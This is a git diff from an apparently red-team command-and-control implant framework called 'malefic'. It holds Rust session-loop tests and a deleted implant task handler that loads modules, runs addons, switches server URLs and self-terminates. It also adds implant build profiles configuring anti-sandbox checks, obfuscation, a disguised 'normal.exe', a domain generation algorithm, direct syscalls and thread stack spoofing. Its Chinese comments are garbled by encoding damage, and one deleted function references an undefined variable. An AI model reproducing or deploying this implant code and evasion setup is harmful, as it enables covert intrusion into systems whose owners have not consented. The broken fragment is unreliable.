-> Spites { + empty_spites("ping") + } + } + + fn empty_spites(name: &str) -> Spites { + Spites { + spites: vec![new_empty_spite(1, name.to_string())], + } + } + + fn keepalive_spites(enable: bool) -> Spites { + Spites { + spites: vec![new_spite( + 1, + "keepalive".to_string(), + Body::Common(modulepb::CommonBody { + bool_array: vec![enable], + ..Default::default() + }), + )], + } + } + + fn key_exchange_response_spites() -> Spites { + Spites { + spites: vec![new_spite( + 1, + "key_exchange".to_string(), + Body::KeyExchangeResponse(modulepb::KeyExchangeResponse { + public_key: "server-public-key".to_string(), + }), + )], + } + } + + #[test] + fn beacon_strategy_sends_before_receiving() { + let mut actor = FakeActor { + prepare_request_queue: VecDeque::from([empty_spites("beacon_request")]), + reconnect_on_handle_name: Some("beacon_response"), + ..Default::default() + }; + let mut runner = FakeRunner { + receive_queue: VecDeque::from([Some(empty_spites("beacon_response"))]), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + futures::executor::block_on(session_loop.run(&mut actor, &mut runner)).unwrap(); + + assert_eq!(actor.reset_count, 1); + assert_eq!(actor.handled, vec!["beacon_response".to_string()]); + assert_eq!(runner.log, vec!["send", "receive"]); + } + + #[test] + fn bind_strategy_receives_before_sending() { + let mut actor = FakeActor { + prepare_request_queue: VecDeque::from([empty_spites("bind_response")]), + reconnect_on_handle_name: Some("bind_request"), + ..Default::default() + }; + let mut runner = FakeRunner { + receive_queue: VecDeque::from([Some(empty_spites("bind_request"))]), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BindStrategy); + + futures::executor::block_on(session_loop.run(&mut actor, &mut runner)).unwrap(); + + assert_eq!(actor.reset_count, 1); + assert_eq!(actor.handled, vec!["bind_request".to_string()]); + assert_eq!(runner.log, vec!["receive", "send"]); + } + + #[test] + fn keepalive_session_upgrades_and_downgrades_before_resuming_heartbeat() { + let mut actor = FakeActor { + keepalive_enabled: true, + prepare_request_queue: VecDeque::from([empty_spites("bind_response")]), + reconnect_on_handle_name: Some("bind_request"), + ..Default::default() + }; + let mut runner = FakeRunner { + try_receive_queue: VecDeque::from([Some(keepalive_spites(false))]), + receive_queue: VecDeque::from([Some(empty_spites("bind_request"))]), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BindStrategy); + + futures::executor::block_on(session_loop.run(&mut actor, &mut runner)).unwrap(); + + assert_eq!(runner.upgrade_count, 1); + assert_eq!(runner.downgrade_count, 1); + assert_eq!( + actor.handled, + vec!["keepalive".to_string(), "bind_request".to_string()] + ); + } + + #[test] + fn key_exchange_response_in_duplex_triggers_reconnect() { + let mut actor = FakeActor { + keepalive_enabled: true, + prepare_spites_queue: VecDeque::from([key_exchange_response_spites()]), + reconnect_on_mark: true, + ..Default::default() + }; + let mut runner = FakeRunner::default(); + let mut session_loop = SessionLoop::new(BeaconStrategy); + + futures::executor::block_on(session_loop.run(&mut actor, &mut runner)).unwrap(); + + assert_eq!(actor.marked_key_exchange, 1); + assert_eq!(runner.upgrade_count, 1); + assert_eq!(runner.downgrade_count, 1); + assert_eq!(runner.sent.len(), 1); + assert_eq!(runner.sent[0].spites[0].name, "key_exchange"); + } + + #[test] + fn switch_detection_causes_reconnect() { + let mut actor = FakeActor { + pending_switch: true, + prepare_request_queue: VecDeque::from([empty_spites("req")]), + ..Default::default() + }; + let mut runner = FakeRunner { + receive_queue: VecDeque::from([Some(empty_spites("resp"))]), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + let result = futures::executor::block_on(session_loop.run(&mut actor, &mut runner)); + assert!(result.is_ok()); + assert_eq!(actor.handled, vec!["resp".to_string()]); + assert_eq!(runner.log, vec!["send", "receive"]); + } + + #[test] + fn send_error_propagates() { + let mut actor = FakeActor::default(); + let mut runner = FakeRunner { + send_error: Some(TransportError::SendError), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + let result = futures::executor::block_on(session_loop.run(&mut actor, &mut runner)); + assert!(result.is_err()); + assert_eq!(runner.log, vec!["send"]); + } + + #[test] + fn receive_error_propagates() { + let mut actor = FakeActor { + prepare_request_queue: VecDeque::from([empty_spites("req")]), + ..Default::default() + }; + let mut runner = FakeRunner { + receive_error: Some(TransportError::ConnectionReset), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + let result = futures::executor::block_on(session_loop.run(&mut actor, &mut runner)); + assert!(result.is_err()); + assert_eq!(runner.log, vec!["send", "receive"]); + } + + #[test] + fn upgrade_error_propagates_when_keepalive() { + let mut actor = FakeActor { + keepalive_enabled: true, + ..Default::default() + }; + let mut runner = FakeRunner { + upgrade_error: Some(TransportError::ConnectFailed("test".into())), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + let result = futures::executor::block_on(session_loop.run(&mut actor, &mut runner)); + assert!(result.is_err()); + assert_eq!(runner.log, vec!["upgrade"]); + assert_eq!(runner.upgrade_count, 0); + } + + #[test] + fn multiple_heartbeat_iterations() { + let mut actor = FakeActor { + prepare_request_queue: VecDeque::from([ + empty_spites("req1"), + empty_spites("req2"), + empty_spites("req3"), + ]), + reconnect_on_handle_name: Some("trigger_reconnect"), + ..Default::default() + }; + let mut runner = FakeRunner { + receive_queue: VecDeque::from([ + Some(empty_spites("resp1")), + Some(empty_spites("resp2")), + Some(empty_spites("trigger_reconnect")), + ]), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + let result = futures::executor::block_on(session_loop.run(&mut actor, &mut runner)); + assert!(result.is_ok()); + assert_eq!( + actor.handled, + vec![ + "resp1".to_string(), + "resp2".to_string(), + "trigger_reconnect".to_string(), + ] + ); + assert_eq!( + runner.log, + vec!["send", "receive", "send", "receive", "send", "receive"] + ); + } + + #[test] + fn keepalive_enable_disable_in_heartbeat() { + // Flow: heartbeat (keepalive=false initially) → receive keepalive(true) → + // keepalive becomes true → upgrade → duplex try_receive keepalive(false) → + // keepalive becomes false → downgrade → heartbeat → receive triggers reconnect + let mut actor = FakeActor { + keepalive_enabled: false, + reconnect_on_handle_name: Some("done"), + ..Default::default() + }; + let mut runner = FakeRunner { + receive_queue: VecDeque::from([ + Some(keepalive_spites(true)), // 1st heartbeat: enables keepalive + Some(empty_spites("done")), // 2nd heartbeat: triggers reconnect + ]), + try_receive_queue: VecDeque::from([ + Some(keepalive_spites(false)), // duplex: disables keepalive + ]), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + let result = futures::executor::block_on(session_loop.run(&mut actor, &mut runner)); + assert!(result.is_ok()); + assert_eq!(runner.upgrade_count, 1); + assert_eq!(runner.downgrade_count, 1); + assert_eq!( + actor.handled, + vec![ + "keepalive".to_string(), // from 1st heartbeat receive + "keepalive".to_string(), // from duplex try_receive + "done".to_string(), // from 2nd heartbeat receive + ] + ); + } +} diff --git a/malefic/src/stub.rs b/malefic/src/stub.rs deleted file mode 100644 index 7d19318..0000000 --- a/malefic/src/stub.rs +++ /dev/null @@ -1,377 +0,0 @@ -use anyhow::anyhow; -use futures::SinkExt; -// use futures::StreamExt; -use futures_timer::Delay; -use lazy_static::lazy_static; -use std::str::FromStr; -use std::time::Duration; - -use crate::malefic::MaleficChannel; -use crate::meta::MetaConfig; -use malefic_core::common::error::MaleficError; -use malefic_core::manager::internal::InternalModule; -use malefic_core::manager::manager::MaleficManager; -use malefic_core::scheduler::TaskOperator; -// use malefic_core::transport::{Client, InnterTransport}; -use malefic_core::{check_body, config}; -use malefic_helper::debug; -use malefic_proto::proto::{modulepb, implantpb, implantpb::{Spite, Spites}, implantpb::spite::Body}; -// use malefic_proto::{marshal, new_empty_spite, new_error_spite, new_spite}; -use malefic_proto::{new_empty_spite, new_error_spite, new_spite}; - - - -lazy_static! { - pub static ref EMPTY_SPITES: Spites = Spites { - spites: vec![Spite::default()] - }; -} - -pub struct MaleficStub { - pub(crate) manager: MaleficManager, - pub(crate) meta: MetaConfig, - pub(crate) channel: MaleficChannel, -} - -impl MaleficStub { - pub fn new(instance_id: [u8; 4], channel: MaleficChannel) -> Self { - let mut manager = MaleficManager::new(); - if let Ok(_) = manager.refresh_module() { - MaleficStub { - manager, - meta: MetaConfig::new(instance_id), - channel, - } - } else { - panic!("origin modules refresh failed"); - } - } - - pub fn get_sysinfo(&self) -> malefic_helper::common::sysinfo::SysInfo { - malefic_helper::common::sysinfo::get_sysinfo() - } - - pub fn register_spite(&mut self) -> Spite { - let sysinfo = malefic_core::common::sys::get_register_info(); - debug!("sysinfo: {:#?}", sysinfo); - - let secure = { - #[cfg(feature = "secure")] - { - if let Some(public_key) = self.meta.get_encrypt_key(){ - Some(modulepb::Secure { - enable: true, - key: String::new(), // 预留加密密钥字段 - r#type: "age".to_string(), - public_key: public_key.to_string(), - }) - } else { - None - } - } - #[cfg(not(feature = "secure"))] - { - None - } - }; - - new_spite( - 0, - "register".to_string(), - Body::Register(modulepb::Register { - name: config::NAME.to_string(), - proxy: config::PROXY_URL.to_string(), - module: self.manager.list_module(InternalModule::all()), - addons: self.manager.list_addon(), - sysinfo, - timer: Some(modulepb::Timer { - expression: config::CRON.to_string(), // cronè¡¨è¾¾å¼æŽ§åˆ¶è°ƒåº¦ - jitter: config::JITTER.clone() as f64, - }), - secure, - }), - ) - } - - pub async fn push(&mut self, spite: Spite) -> anyhow::Result<()> { - self.channel.data_sender.send(spite).await?; - Ok(()) - } - - // pub async fn process_data( - // &mut self, - // transport: InnterTransport, - // client: &mut Client, - // ) -> Result<(), anyhow::Error> { - // self.channel.request_sender.send(true).await?; - // - // let spites = if let Some(data) = self.channel.response_receiver.next().await { - // data - // } else { - // EMPTY_SPITES.clone() - // }; - // - // #[cfg(debug_assertions)] - // { - // if malefic_proto::get_message_len(&spites) <= 2048 { - // println!("{:#?}", spites); - // } else { - // println!("length: {}", spites.spites.len()); - // } - // } - // // Marshal with optional encryption - // let marshaled = marshal(self.meta.get_uuid(), spites.clone(), self.meta.get_encrypt_key())?; - // - // if let Ok(res) = client.handler(transport, marshaled).await { - // match res { - // Some(spite_data) => { - // // Parse with optional decryption - // let private_key = self.meta.get_decrypt_key(); - // let spites = spite_data.parse(private_key)?; - // self.handler(spites).await?; - // } - // None => { - // debug!("[beacon] no recv"); - // } - // } - // } else { - // debug!("[beacon] send error, recover spites"); - // for spite in spites.spites { - // self.push(spite).await?; - // } - // } - // - // Ok(()) - // } - - pub async fn handler(&mut self, spites: Spites) -> anyhow::Result<()> { - for spite in spites.spites { - #[cfg(debug_assertions)] - { - if malefic_proto::get_message_len(&spite) <= 2048 { - println!("Spite({})==> {:#?}",malefic_proto::get_message_len(&spite), spite); - } else { - println!("taskid: {} {}", spite.task_id, spite.name); - } - } - match self.handler_spite(spite.clone()).await { - Ok(_) => { - debug!("{}:{} sender succ", spite.task_id, spite.name) - } - Err(e) => { - debug!("handler encountered an error: {:#?}", e); - let error_id = if let Some(malefic_error) = e.downcast_ref::() { - malefic_error.id() - } else { - 999 - }; - self.push(new_error_spite(spite.task_id, spite.name, error_id)) - .await? - } - } - } - Ok(()) - } - - pub async fn handler_spite(&mut self, req: Spite) -> anyhow::Result<()> { - match InternalModule::from_str(req.name.as_str()) { - Ok(InternalModule::Ping) => { - let ping = check_body!(req, Body::Ping)?; - self.push(new_spite( - req.task_id, - InternalModule::Ping.to_string(), - Body::Ping(modulepb::Ping { nonce: ping.nonce }), - )) - .await? - } - Ok(InternalModule::Init) => { - let req = check_body!(req, Body::Init)?; - let id: [u8; 4] = req - .data - .try_into() - .map_err(|_| anyhow!("Expected a Vec of length 4"))?; - - self.meta.set_id(id); - let spite = self.register_spite(); - self.push(spite).await? - } - Ok(InternalModule::RefreshModule) => { - self.manager.refresh_module()?; - self.push(new_spite( - req.task_id, - InternalModule::RefreshModule.to_string(), - Body::Modules(modulepb::Modules { - modules: self.manager.list_module(InternalModule::all()), - }), - )) - .await?; - } - Ok(InternalModule::ListModule) => { - let result = new_spite( - req.task_id, - InternalModule::ListModule.to_string(), - Body::Modules(modulepb::Modules { - modules: self.manager.list_module(InternalModule::all()), - }), - ); - self.push(result).await?; - } - Ok(InternalModule::LoadModule) => { - let modules = self.manager.load_module(req.clone())?; - self.push(new_spite( - req.task_id, - InternalModule::LoadModule.to_string(), - Body::Modules(modulepb::Modules { - modules, - }), - )) - .await?; - } - Ok(InternalModule::LoadAddon) => { - self.manager.load_addon(req.clone())?; - self.push(new_spite( - req.task_id, - InternalModule::LoadAddon.to_string(), - Body::Empty(implantpb::Empty::default()), - )) - .await?; - } - Ok(InternalModule::ListAddon) => { - let result = new_spite( - req.task_id, - InternalModule::ListAddon.to_string(), - Body::Addons(modulepb::Addons { - addons: self.manager.list_addon(), - }), - ); - self.push(result).await?; - } - Ok(InternalModule::ExecuteAddon) => { - let result = self.manager.execute_addon(req)?; - let module = self - .manager - .get_module(&result.name) - .ok_or_else(|| anyhow!(MaleficError::ModuleNotFound))?; - let body = result.body.ok_or_else(|| anyhow!(MaleficError::MissBody))?; - self.channel - .scheduler_task_sender - .send((result.r#async, result.task_id, module.new_instance(), body)) - .await?; - } - Ok(InternalModule::RefreshAddon) => { - self.manager.refresh_addon()?; - self.push(new_spite( - req.task_id, - InternalModule::RefreshAddon.to_string(), - Body::Empty(implantpb::Empty::default()), - )) - .await?; - } - Ok(InternalModule::Clear) => { - self.manager.clean()?; - self.push(new_spite( - req.task_id, - InternalModule::Clear.to_string(), - Body::Empty(implantpb::Empty::default()), - )) - .await?; - } - Ok(InternalModule::CancelTask) => { - if let Some(Body::Task(task)) = req.body { - self.channel - .scheduler_task_ctrl - .send((req.task_id, TaskOperator::CancelTask(task.task_id))) - .await?; - } - } - Ok(InternalModule::QueryTask) => { - if let Some(Body::Task(task)) = req.body { - self.channel - .scheduler_task_ctrl - .send((req.task_id, TaskOperator::QueryTask(task.task_id))) - .await?; - } - } - Ok(InternalModule::ListTask) => { - self.channel - .scheduler_task_ctrl - .send((req.task_id, TaskOperator::ListTask)) - .await?; - } - Ok(InternalModule::Sleep) => { - let sleep = check_body!(req, Body::SleepRequest)?; - self.meta.update_schedule(&*sleep.expression, sleep.jitter)?; - self.push(new_spite( - req.task_id, - InternalModule::Sleep.to_string(), - Body::Empty(implantpb::Empty::default()), - )) - .await?; - } - Ok(InternalModule::Suicide) => { - self.push(new_spite( - req.task_id, - InternalModule::Suicide.to_string(), - Body::Empty(implantpb::Empty::default()), - )) - .await?; - Delay::new(Duration::from_secs(10)).await; - std::process::exit(0); - } - Ok(InternalModule::Switch) => { - let login = check_body!(req, Body::Switch)?; - self.meta.update_urls(login.urls); - self.push(new_spite( - req.task_id, - InternalModule::Switch.to_string(), - Body::Empty(implantpb::Empty::default()), - )) - .await? - } - Ok(InternalModule::KeyExchange) => { - let key_request = check_body!(req, Body::KeyExchangeRequest)?; - let key_resp = self.handle_key_exchange(req.task_id, key_request).await?; - self.push(key_resp).await?; - } - Err(_) => { - debug!("req {:}",req.name); - debug!("{:?}",req.body); - let body = req.body.ok_or_else(|| anyhow!(MaleficError::MissBody))?; - let module = self - .manager - .get_module(&req.name) - .ok_or_else(|| anyhow!(MaleficError::ModuleNotFound))?; - self.channel - .scheduler_task_sender - .send((req.r#async, req.task_id, module.new_instance(), body)) - .await?; - } - }; - Ok(()) - } - - async fn handle_key_exchange(&mut self, task_id: u32, _key_request: modulepb::KeyExchangeRequest) -> anyhow::Result { - #[cfg(feature = "secure")] - { - let (private_key, public_key) = malefic_proto::generate_age_keypair(); - - // 如果request中包å«server的公钥,ä¿å­˜åˆ°meta - if !_key_request.public_key.is_empty() { - self.meta.server_public_key = key_request.public_key; - } - - self.meta.private_key = private_key; - Ok(new_spite( - task_id, - "key_exchange".to_string(), - Body::KeyExchangeResponse(modulepb::KeyExchangeResponse { - public_key, - }), - )) - } - #[cfg(not(feature = "secure"))] - { - Ok(new_empty_spite(task_id, "key_ack".to_string())) - } - } -} diff --git a/prelude.yaml b/prelude.yaml index 7f054e3..1614087 100644 --- a/prelude.yaml +++ b/prelude.yaml @@ -1,5 +1,6 @@ - name: bof + depend_on: execute_bof body: !ExecuteBinary name: dir bin: !File "dir.o" diff --git a/profiles/README.md b/profiles/README.md new file mode 100644 index 0000000..6bd2015 --- /dev/null +++ b/profiles/README.md @@ -0,0 +1,27 @@ +# IoM Profiles + +本仓库包å«å¤šä¸ªé…置模æ¿ï¼Œç”¨äºŽå±•示 malefic çš„ä¸åŒåè®®ã€æ¨¡å—é…ç½®ä»¥åŠ prelude 功能的使用方å¼ã€‚ + +## Malefic åè®®é…ç½®æ¨¡æ¿ + +- **malefic-http** - 基于 HTTP å议的 malefic é…ç½®æ¨¡æ¿ +- **malefic-https** - 基于 HTTPS å议的 malefic é…ç½®æ¨¡æ¿ +- **malefic-tcp** - 基于 TCP å议的 malefic é…ç½®æ¨¡æ¿ +- **malefic-tcp-tls** - 基于 TCP+TLS çš„ malefic é…ç½®æ¨¡æ¿ +- **malefic-rem** - 使用 REM(Remote Execution Module)的 malefic é…ç½®æ¨¡æ¿ + +## Malefic 模å—é…ç½®æ¨¡æ¿ + +- **malefic-nano-modules** - 最å°åŒ–modules(ç¦ç”¨çƒ­åŠ è½½ï¼‰ +- **malefic-mini-modules** - 支æŒçƒ­æ’拔的最å°åŒ–é…置(开å¯çƒ­åŠ è½½ï¼‰ + +## Prelude 功能示例 + +- **prelude-persist** - prelude æŒä¹…åŒ–åŠŸèƒ½ç¤ºä¾‹ï¼ˆåŒ…å« BOF æŒä¹…化和 shellcode 执行) +- **prelude-shellcode** - prelude shellcode 执行功能示例 + +## Malefic 与 Prelude é›†æˆ + +- **malefic-with-prelude** - malefic æ­é… prelude 使用的é…ç½®æ¨¡æ¿ + + diff --git a/profiles/malefic-http/implant.yaml b/profiles/malefic-http/implant.yaml new file mode 100644 index 0000000..d420466 --- /dev/null +++ b/profiles/malefic-http/implant.yaml @@ -0,0 +1,126 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "127.0.0.1:8080" # ip:port + http: + method: "POST" + path: "/" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + Content-Type: "application/octet-stream" + tls: + enable: false + skip_verification: true + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # åæ²™ç®±å调试å编译åå–è¯ç›¸å…³ + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-https/implant.yaml b/profiles/malefic-https/implant.yaml new file mode 100644 index 0000000..06b2aff --- /dev/null +++ b/profiles/malefic-https/implant.yaml @@ -0,0 +1,126 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "example.com:443" # ip:port + http: + method: "POST" + path: "/" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + Content-Type: "application/octet-stream" + tls: + enable: true + skip_verification: true + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-mini-modules/implant.yaml b/profiles/malefic-mini-modules/implant.yaml new file mode 100644 index 0000000..110d878 --- /dev/null +++ b/profiles/malefic-mini-modules/implant.yaml @@ -0,0 +1,118 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "127.0.0.1:5001" # ip:port + tcp: {} + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-nano-modules/implant.yaml b/profiles/malefic-nano-modules/implant.yaml new file mode 100644 index 0000000..0a5afdc --- /dev/null +++ b/profiles/malefic-nano-modules/implant.yaml @@ -0,0 +1,118 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "127.0.0.1:5001" # ip:port + tcp: {} + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: false # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-rem/implant.yaml b/profiles/malefic-rem/implant.yaml new file mode 100644 index 0000000..df4417c --- /dev/null +++ b/profiles/malefic-rem/implant.yaml @@ -0,0 +1,118 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + - address: "127.0.0.1:5001" # tcp pipelineåœ°å€ + rem: + link: "tcp://nonenonenonenone:@example.com:12345?wrapper=qu7tnGakBLVUjeS..." # rem链接 + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + 